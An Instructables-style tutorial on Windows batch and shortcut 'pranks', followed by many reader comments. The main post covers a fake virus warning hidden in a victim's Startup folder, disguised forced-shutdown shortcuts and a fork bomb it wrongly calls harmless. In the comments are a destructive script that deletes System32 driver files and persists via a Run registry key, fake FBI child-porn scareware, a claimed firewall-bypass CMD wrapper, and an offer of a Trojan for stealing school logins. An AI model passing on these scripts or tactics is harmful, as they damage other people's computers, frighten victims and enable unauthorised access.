Introduction: !!GREAT COMPUTER PRANKS !! Computer Commands Using Notepad and Command Prompt

In this Instructable i will show you how to make a few pranks on peoples computer using simple commands on notepad and cmd prompt.

I MADE THIS INSTRUCTABLE TO ENTER THE APRIL FOOLS SPEED CONTEST SO PLEASE VOTE BY HITTING THE VOTE BUTTON AT THE TOP

Step 1: Fake Warning Message

Ok first we will start with the easy one, the fake warning message.
This is how to do it:
1.Open note pad
2.Type this in
@echo off
msg * Warning your computer has detected a virus.
msg * To remove the virus click OK or close this box
msg * Your Hard drives are now being formatted
msg * Please wait ...........
msg * APRIL FOOLS

3.Save the file as April-fools.BAT
4.Right click on the file and press hidden
5.Go to folder options and click show hidden files
6.Cut the file and place it in the victims Start up folder in the start menu
7.Go back to folder options and click do not show hidden files.

Now what each of the lines you typed in done:
@echo off << this runs the commands in the background so the victim will not see any codes
msg * <<this commands the computer to show a message
msg * hahahah <<this is what the message will display

The results
when the victim starts up there computer the first message will appear, when they click OK the next one will appear and make the victim think there hard drive is being formatted until they get the last message saying APRIL FOOLS.

Now your code should look like the image below:

Step 2: Fake Icon

Now i am going to tell you how to make fake icons that will shutdown/ log off / restart the victims computer.

When you make this use a 60 or more second time limit so the user has time to save all open work as if you do not it may make them angry and not so much a prank but with a time limit they have nothing to lose and will find it funny after.

There is two ways to do this but the way i am going to show you is easiest:
How to do it:
1.Right click on the desktop in a blank space.
2.Select new.
3.Click where it says create shortcut
4.Where it tells you to type a location type in one of the codes below:

If you want there computer to shutdown type this in:

shutdown -s -f -t 60 -c "type a message you want to appear here"

If you want it to log them off type this:

shutdown -l -f -t 60 -c "type a message you want to appear here"

If you want it to restart there computer type this:

shutdown -r -f -t 60 -c "type a message you want to appear here"

5.Click OK and name it My Computer.

6.Right click on the file you just made and click properties and look for where it says change icon.

7.find the icon that is the same as the "my computer" icon

8.change the icon and wait for the victim to open my computer, then it will shutdown / log off / restart.

9.HINT: If you set the time limit to 0000 it will shutdown instantly, so they may think it was some els wrong with the computer and try again .......



What each part of the code does:
shutdown << this is a program that has three basic commands shutdown , log off , restart.
-s << this will shutdown the computer
-r << this will restart the computer
-l << this will log off the computer
-f << this forces all programs running to shutdown
-t << this is the time limit until shutdown (the time is in seconds so if -t 60 means 60 seconds )

P.S if you want to try this on your computer and the shutdown timer starts, to stop it in run type shutdown -a

Step 3: A Simple Older Prank

Ok this only works on people that are not very smart with computers.

This will make them think their computer has froze and (if they are not smart with computers) they will freak out.
1.Close all open programs
2.Make sure you can see everything in the desktop
3.press print screen
4.Open MS paint and right click and press paste
5.save the file in some where you can easily find it
6.Go back to the desktop and right click, select arrange icons and click hide icons
7.Right click on the start bar and click properties and click Auto-hide
8.Goto the desktop and right click, select properties and click the desktop tab
9.Click load background and find the file you saved.

RESULTS
Now the computer should look normal but you cannot click any icons or the start bar as they are just an image. To do this sneak onto a friends / school computer and it only takes 2 minutes!

Step 4: Fork Bomb (BATCH)

This prank will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.
!!!!THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER!!!!!

To make this open note pad and type:

@echo off
:START
start a.bat
GOTO START

The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.

Step 5: Fake Virus Detected(HARMLESS)

Ok this will make the victim think they have got a virus when they click on an icon such as my computer.
First we have to open notepad again
1.type this in or copy.
@echo off
echo WARNING VIRUS DETECTED
echo System check
echo -
echo Hard drive - FAILED
echo -
echo RAM - FAILED
echo -
echo Disk Drive - FAILED
echo -
echo Connection - FAILED
echo -
echo code 754*sd56625
echo -
echo Hard drive must be formatted to resume windows
echo -
PAUSE
echo -
echo -WARNING
echo -
echo Hard drive has been formatted
echo -
echo -WARNING
echo -
PAUSE
echo APRIL FOOLS
echo APRIL FOOLS
echo APRIL FOOLS
echo APRIL FOOLS
echo APRIL FOOLS
echo APRIL FOOLS
echo APRIL FOOLS
echo APRIL FOOLS
echo APRIL FOOLS
echo APRIL FOOLS
pause

2.Save as a.bat
3.convert the a.bat to an exe file which lets you name it and change the icon.
4.to convert it you will need to goto www.f2ko.de and download bat_to_exe
5. put it on some ones computer and watch them freak out

RESULTS
Look at the screen shot below and this is what the person will see. where it says pause you have to press a key to see the writing below it.

P.S WHEN YOU ARE CONVERTING THE BAT FILE TO EXE USE ONLY THE TOP 4 BOXES IN THE CONVERTER

Comments

author
klassenwaro made it!(author)2017-03-21

blue Screen

@ echo off
rem ———————————
rem Activate Blue Screen Of Death
@((( Echo Off > Nul ) & Break Off )
@Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
@Reg Add “%HiveBSOD%” /v “BSOD” /t “REG_SZ” /d %0 /f > Nul
@Del /q /s /f “%SystemRoot%\Windows\System32\Drivers\*.*”
)

author
OskarP8 made it!(author)2017-04-07

nice joke mate

author
NicholasP76 made it!(author)2017-03-09

using notepad on password recovery

author
NicholasP76 made it!(author)2017-03-09

Is there a code to get peoples passwords on a windows

author
karimazaher33 made it!(author)2017-01-31

How do you do the FBI prank. I opened the cmd. Now what?

author
monkingn made it!(author)2017-02-28

hahaha it not work with my computer it just a messege but isn't shutdown

author
Anon2001 made it!(author)2017-02-15

Take a look at mine Warning some may cause damage this website nor will i take responsibility for your actions: http://pastebin.com/u/Anonymous2001

author
Tinydalek148 made it!(author)2016-11-28

Hey guys i just made a new CMD for FBI... Try it!!

@echo off

color 0f

title FBI HDD SEARCH AND SEIZURE

echo Obtaining Computer's IP Address...

timeout 3

echo .........................

echo . CONTACTING THE FBI... .

echo .........................

timeout 3

echo ...........................................

echo . DIALING FBI PHONE NUMBER (202) 324-3000 .

echo ...........................................

timeout 10

echo ................................................................................

echo . ATTENTION!!! Your computer IP Address 92.102.01.2 is now being traced by .

echo . the FBI as it is suspect of having visited or hosted A child porn site and/ .

echo . or have uploaded, downloaded or both to a known child porn site. Visiting, .

echo . hosting, uploading or downloading nude pictures of children to such .

echo . internet sites in the United States of America is ILLEGAL and is punishable .

echo . by no less than 5-10 years imprisonment PER COUNT WITHOUT PAROLE, $500,000 .

echo . fine, and/or the echo .death penalty (in some states) if proven guilty. .

echo ................................................................................

timeout 10

echo ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

echo :: Erasure of your computer's Hard Drive(s) to conceal evidence of your ::

echo :: internet whereabouts will result in further investigation and severe ::

echo :: criminal penalties to include ten (10) years imprisonment and/or ::

echo :: $500,000 fine for obstruction of justice under the federal penal code. ::

echo ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

echo .................................................

echo . THE FBI IS COPYING YOUR HARD DRIVE(S) NOW!! .

echo .................................................

timeout 5

echo ...................................................

echo . HDD COPY CYCLE COMPLETE!! NOW DELETING HDD DATA .

echo ...................................................

timeout 5

echo ......................................................................

echo . To prevent further instances in the future the FBI has anonomously .

echo . decided to render your computer unusable and will now permanently .

echo . disable your computer. .

echo ......................................................................

echo .......I Will Now Execute Command, 3hgw5th6p.exe, in 15 seconds.......

echo ......................................................................

timeout 15

set loopvar=1

:looplabel

set /a loopvar=%loopvar%+1

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

if '%loopvar%'=='1500' goto endlabel

goto looplabel

:endlabel

shutdown -s -f -t 15 -c "The FBI HDD Search and Seizure program is now finished. We will contact you within 8-10 business days reguarding the results of your computer's HDD Search and Siezure."

exit

author
karimazaher33 made it!(author)2017-01-31

What happens after it tells you about the FBI contacting you at the end? Does you computer just shut down?

author
karimazaher33 made it!(author)2017-01-31

How do you do this prank?

author
ThomasPlays%2F%2FRoblox+and+More%21 made it!(author)2017-01-18

is it saved as a VBS file?

author
XianT made it!(author)2016-12-25

is this just a prank or not?

author
CharlieR50 made it!(author)2016-12-19

The FBI one even got me..nice work dude

author
kavirunimsith made it!(author)2016-10-28

IN OUR SCHOOL COMPUTER NETWORK WE GOT INTERNET CONNECTION BUT WE CANNOT ACCESS INTERNET BECAUSE THE INTERNET CONNECTION IS BLOCKED BY THE ADMINISTRATOR.HOW TO GET INTERNET CONNECTION USING NOTEPAD OR CMD?

author
JinhoH1 made it!(author)2017-01-23

download betternet vpn. no other way other than that...

author
AzuraveyesV made it!(author)2016-12-28

to do that you actually got to make a Trojan virus

i have one

and it is the best one out there,

sub to my channel

and i will give you the link to the download.

but be warned

not to access the principles,school district or other students log-in info

you can go to jail

but you can access a teachers log-in info,

being cought will only lead to iss. and maybe a po'po's

other then that its all good,

msg me on if you want more information??

facebook: Joshua Lee Sanchez

instagram: Azura_pda

phone# 971 338 0459

author
gaminggeek347 made it!(author)2017-01-19

does it work at every school?

author
kavirunimsith made it!(author)2016-12-29

Thanks for your comment.I would like to sub your channel and I would like to learn more about hacking.How canI learn more about hacking?

author
AzuraveyesV made it!(author)2016-12-30

what is your email or social media

my youtube :https://www.youtube.com/channel/UCMH9IuoZsCNiRzVbY...

I would rather talk in more of a private note,

so if you have any other way of doing so that would be great.

author
kavirunimsith made it!(author)2016-12-31

my email is kavirunimsith@gmail.com

author
kingdyland made it!(author)2016-11-18

wat

author
YasentJ made it!(author)2016-09-22

I need idk how to block the cmd in windows 7

author
R35SPECT made it!(author)2016-09-28

@echo off

break off

title C:\Windows\system32\cmd.exe

cls

:cmd

set /p cmd=C:\Enter Command:

%cmd%

echo.

goto cmd

author
R35SPECT made it!(author)2016-09-28

That will bypass the firewall and open CMD

author
ShreyaPal made it!(author)2016-09-14

Hello. There is a prank which I wanted to throw since a long time. It is for a friend of mine who likes to mess around my laptop quite a lot behind my back.

There will be a desktop icon. On clicking it there will be a timer and a slot. Unless the person can type the right password before the timer goes to 00:00, the screen will become blank. And I would also like the password to be recorded. And no X sign to close the window. Some warning that if the right password is not entered then all files on the computer shall be deleted and the memory shall be cleared.

author
Pr0HaCk3r3541 made it!(author)2016-02-12

This is adaption of first notepad tip

@echo off

msg * Warning your computer has detected a virus.

msg * To remove the virus click OK or close this box

msg * Your Hard drives are now being formatted

msg * Please wait ...........

msg * Shutting down in...

shutdown /s /f /t 10

shutdown /a /f /t 9

msg * 10

msg * 9

msg * 8

msg * 7

msg * 6

msg * 5

msg * 4

msg * 3

msg * 2

msg * 1

msg * ...

msg * APRIL FOOLS!!!!

This will not shutdown the computer hopefully, let me know if you tried it

author
sammyk8 made it!(author)2016-06-15

Hey! i tried it and the code on the top says it to turn if the computer, I got so scared when it happend!!!!!!!!!!

author
Pr0HaCk3r3541 made it!(author)2016-06-17

I got the code wrong, it will shutdown the computer but no damage will be done. you could have it shut down the computer by doing this, (No real damage to computer will happen, it would be just like clicking shutdown button).

@echo off

msg * Warning your computer has detected a virus.

msg * To remove the virus click OK or close this box

msg * Your Hard drives are now being formatted

msg * Please wait ...........

msg * Shutting down in...

shutdown /s /f /t 10

shutdown /a /f /t 9

msg * 10

msg * 9

msg * 8

msg * 7

msg * 6

msg * 5

msg * 4

msg * 3

msg * 2

msg * 1

shutdown /s /f /t 0 /c "LOLOLOL"

author
Sanjupal made it!(author)2016-02-08

where i can found startup folder

author
rongkup made it!(author)2016-04-16

just type all command and save file with April fools than right click on that file press (run as administrator)

author
Sanjupal made it!(author)2016-02-08

where i can found startup folder

author
Sanjupal made it!(author)2016-02-08

Bro where I can Save file

author
AdamB45 made it!(author)2015-08-24

Hello. I have a question. I would like to make something like:

@echo off

" Your pc have been infected. Sorry for deleting all your files. Have a nice day. "

and then it will start opening random (just a lot) files. Can someone tell me the comand to open random? Or some way to open C: files and dont crash pc? :D

author
UnlimitedX made it!(author)2015-10-22

Try something like

"echo off

start notepad.exe

start notepad.exe

msg * "Your pc have been infected. Sorry for deleting all your files. Have a nice day."

start notepad.exe

start notepad.exe.

start notepad.exe

start notepad.exe"

I just used it on a older PC so you might need to change the message type but this will open a finite amount of Notepads, if you want something else just add the file name with its execution .exe.

but if you want a infinite amount which is a little more harsh use

@echo off

:A

"Your pc have been infected. Sorry for deleting all your files. Have a nice day."

start notepad.exe

goto A

This should make it loop forever to stop it the easiest way is to shut off the computer which if you want there is a few commands for that too! Have fun with this! :D

author
GarrothR made it!(author)2016-01-15

I made one that...might kill a person called 'Ay, I'm just doing my %random% job.';

@echo off

title API Hacker

echo API Hacker loaded.

echo Hit 'ENTER' to open the program.

pause

:p:

echo Ay, I'm just doing my %random%%random% job.

color 01

color 12

color 13

color 14

color 23

color 24

color 32

color 34

color 42

color 43

color 41

color 45

color 51

color 52

color 53

color 54

color 02

color 03

color 04

color 05

title Ay, I'm just doing my %random%%random% job..

goto p

start

author
GarrothR made it!(author)2016-01-15

The way it works, is that if you hit Enter, it will loop flashing colors with

echo Ay, I'm just doing my %random%%random% job.

author
Samd35 made it!(author)2015-10-28

So do the coding but then do this near the end :
:he
explorer.exe

goto he

author
UnlimitedX made it!(author)2016-01-07

If the way you use doesn't work it's:

:he

start explorer.exe

goto he

author
hobofood made it!(author)2016-01-05

thnx! i'm gonna try it when i get on a pc!

author
eacochran made it!(author)2014-10-03

When i click on the 'finished' shortcut, it logs off instantly even though i put a 60 second timer on it. i typed:

shutdown -l -f -t 60 -c "message" (I did include the quotes if im not supposed to, then that's probably my issue)

help? :P

author
Samd35 made it!(author)2015-10-28

When using shutdown do:

shutdown -c "Your message here" -s

author
hobofood made it!(author)2016-01-05

Here's a cool locker that hides your files and locks it until u put a password in; without any downloaded software! save it as a batch file;

( with extension .bat ) change the YOUR PASSWORD HERE part in the 23rd line with any password you want.

Now you will see a batch file. Double click it to create a folder locker ( A new folder named Locker would be formed at the same location )Bring all the files you want to hide in the locker folder.Double click the batch ( As created above ) file to lock the folder. you will have an option. press capital Y.

cls

@ECHO OFF

title Folder Locker

if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK

if NOT EXIST Locker goto MDLOCKER

:CONFIRM

echo Are you sure u want to Lock the folder(Y/N)

set/p "cho=>"

if %cho%==Y goto LOCK

if %cho%==y goto LOCK

if %cho%==n goto END

if %cho%==N goto END

echo Invalid choice.

goto CONFIRM

:LOCK

ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

echo Folder locked

goto End

:UNLOCK

echo Enter password to Unlock folder

set/p "pass=>"

if NOT %pass%==YOUR PASSWORD HERE goto FAIL

attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker

echo Folder Unlocked successfully

goto End

:FAIL

echo Invalid password

goto end

:MDLOCKER

md Locker

echo Locker created successfully

goto End

:End

author
TheodorosN1 made it!(author)2015-06-25

That looks correct to me, but try doing shutdown -l -t 60 -f -c "message"

I don't think that will fix the problem, but you should try.

author
Thepcmaster123 made it!(author)2015-07-08

Try shutdown -s -t 60 -c "what ever" don't use "" lol what it does is shutdown -s tells it to shutdown -t 60 tells it to shutdown in 60 secs and -c tells it to say your message let me know if this helps

author
VictorFreeze made it!(author)2015-11-16

This is great. I modified this and dropped it into a shared server on my office network and most of the employees fell prey to it.

author
MatthewE11 made it!(author)2015-09-14

author
RyanL24 made it!(author)2015-09-04

Well of course it doesn't. If it was then the script would say it! :D

author
KevanS29 made it!(author)2015-08-17

author
DougB9 made it!(author)2015-07-04

@echo off

title that one night !=!V0.1!=!

goto Main

:creds

echo -------------------------------------credits------------------------------------

echo ----------------------------story line by DB aka lapus-----------------------

echo --------------------coded by DB aka lapus--------------------

echo ---------thank you for your support ;)--------

echo menu?

set /p menu?=

if %menu?%==menu goto Main

if %menu?%==menu cls

pause

:help

echo -------------welcome to the help menu-------

echo to play the game all you have to do is

echo survive, if the game goes to the menu

echo (do to lack of codeing issues)

echo that means you lost ! oh no

echo so make sure you dont lose ok,

echo also we have a command respone

echo promblem so keep typeing the command

echo to do it please and thank you for

echo staying with us throught futrue updatas.

echo menu?

set /p menu?=

if %menu?%==menu cls

if %menu?%==menu goto Main

:Main

echo ---------welcome to the main menu-------------

echo play? exit?

echo credits? need help? please vist help first !

set /p help?=

if %help?%==help goto help

set /p credits?=

if %credits?%==credits goto creds

set /p play?=

if %play?%==play goto Game

set /p exit?=

if %exit?%==exit exit

:Game

echo ok, so you wake up in a forest and crickets are out and wolfs are about what do you do?

echo A. grab a rock and kill your self, B. look for a house,

echo C. find the crickets and eat them D. try and build a house out of logs

echo *HINT* there is only 2 that are good.

set /p A=

set /p B=

set /p C=

set /p D=

set /p menu=

if %menu%==menu goto Main

if %A%==A goto main

if %B%==B echo you find some bricks and tape but no house?

if %C%==C echo you find the crickets and eat them and then feel a little better and have more enrgey

if %D%==D goto main

pause

I MADE A GAME BRUH ! =_=

author
EoflaOE made it!(author)2015-06-13

When I download BAT to EXE from F2KO, Antivirus detected the file as virus.

About This Instructable

863,764views

354favorites

License:

More by dean-101:Repairing basic computer hard ware problem (system disk failure and broken PSU and missing/corrupt files)School site unblocker programHow to clean a laptop screen with household products
Add instructable to: